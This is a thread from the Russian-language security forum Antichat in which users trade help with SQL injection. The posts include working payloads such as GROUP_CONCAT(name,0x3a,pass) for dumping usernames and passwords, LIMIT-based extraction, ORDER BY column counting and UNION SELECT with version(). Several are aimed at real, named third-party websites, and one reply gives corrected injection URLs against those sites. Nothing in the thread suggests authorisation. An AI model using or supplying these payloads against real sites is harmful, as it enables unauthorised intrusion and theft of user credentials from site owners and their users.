ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Если ты пытался вывести через INFORMATION_SCHEMA то там 4 ветка и там нет INFORMATION_SCHEMA Database.

Я читал,но скобки разве не закрываются в противоположную сторону?(Как обычно)

ascii(substring());

Но если комментарий работает,то почему он не может просто исключить эти скобки,т.к. они стоят за моим комментарием ?

А если он закрывает скобки предыдущие,то должно быть ))ID,где ID - какое-то число или символ.

ЗЫ:Походу,это выше Вели...

HI,

Я как-то задавал аналогичный вопрос, но появился еще один.
Суть такова:
При выводе данных, выводимая информация ограничена, то есть выводится не вся, через лимит выводится гораздо больше.
Мне советовали выводить информацию разными способами, один из них:
GROUP_CONCAT(name,0x3a,pass)+FROM+table+WHERE+ASCI I(lower(name))=97
то есть вывод юзеров на "a".
Перебором я выбрал выбрал нужных юзеров, все ОК.
Теперь вопрос:
Можно ли сразу вывести данные не через перебор как указано выше?

Спасибо!

Octave_Parango Вопрос не понятен, тебе в прошлый раз отвечали, что через GROUP_CONCAT выводится определённое количество символов, сколько именно прописано в group_concat_max_len(по умолчанию 1024), и повлиять на это через инъекцию нельзя, можно только фильтровать данные(тоесть выводить с помощью фильтров, нужных тебе). Ты всегда можешь вывести все данные, не используя GROUP_CONCAT, а используя просто лимит.
name,pass+FROM+table+limit+1,1
В чём вопрос, попробуй переформулировать

Спасибо за ответ.
Можно в таком случае привести пример на моем случае.
Есть порядка 12к записей.
Лимит не работает, просто не выводит данные и я не представляю перебирать лимитов такое количество.

p.s. Возможно я туплю, но что-то реальный ступор у меня...

привет всем, вопросик стоит примерно так : есть сайт и как я думаю скуля хотя по моему слепая... перебором даже version () запрос выдаёт тарабарщину примерно вот так $bAY9<j*
http://www.fcsteaua.ro/felicitari/tag/-embleme+order+by+100000000000000000000000
выводит всё на страничку... встречался ли кто нибудь с подобным явлением? Буду очень признателен если мне помогут. Заранее спасибо.

У меня два вопроса:
1. где тут вывод полей?
http://dontime.dn.ua/index.php?new=999999%20union%20select%201,2,3,4,5, 6,7,8,9,10/*
2. как определить количество столбов http://www.aroma-france.info/parfums.php?poll=17%27

1. http://dontime.dn.ua/index.php?new=999999%20union%20select%201,2,3,4,ve rsion(),%20%206,7,8,9,10,11,12/*
2. http://www.aroma-france.info/parfums.php?poll=17'+order+by+5--+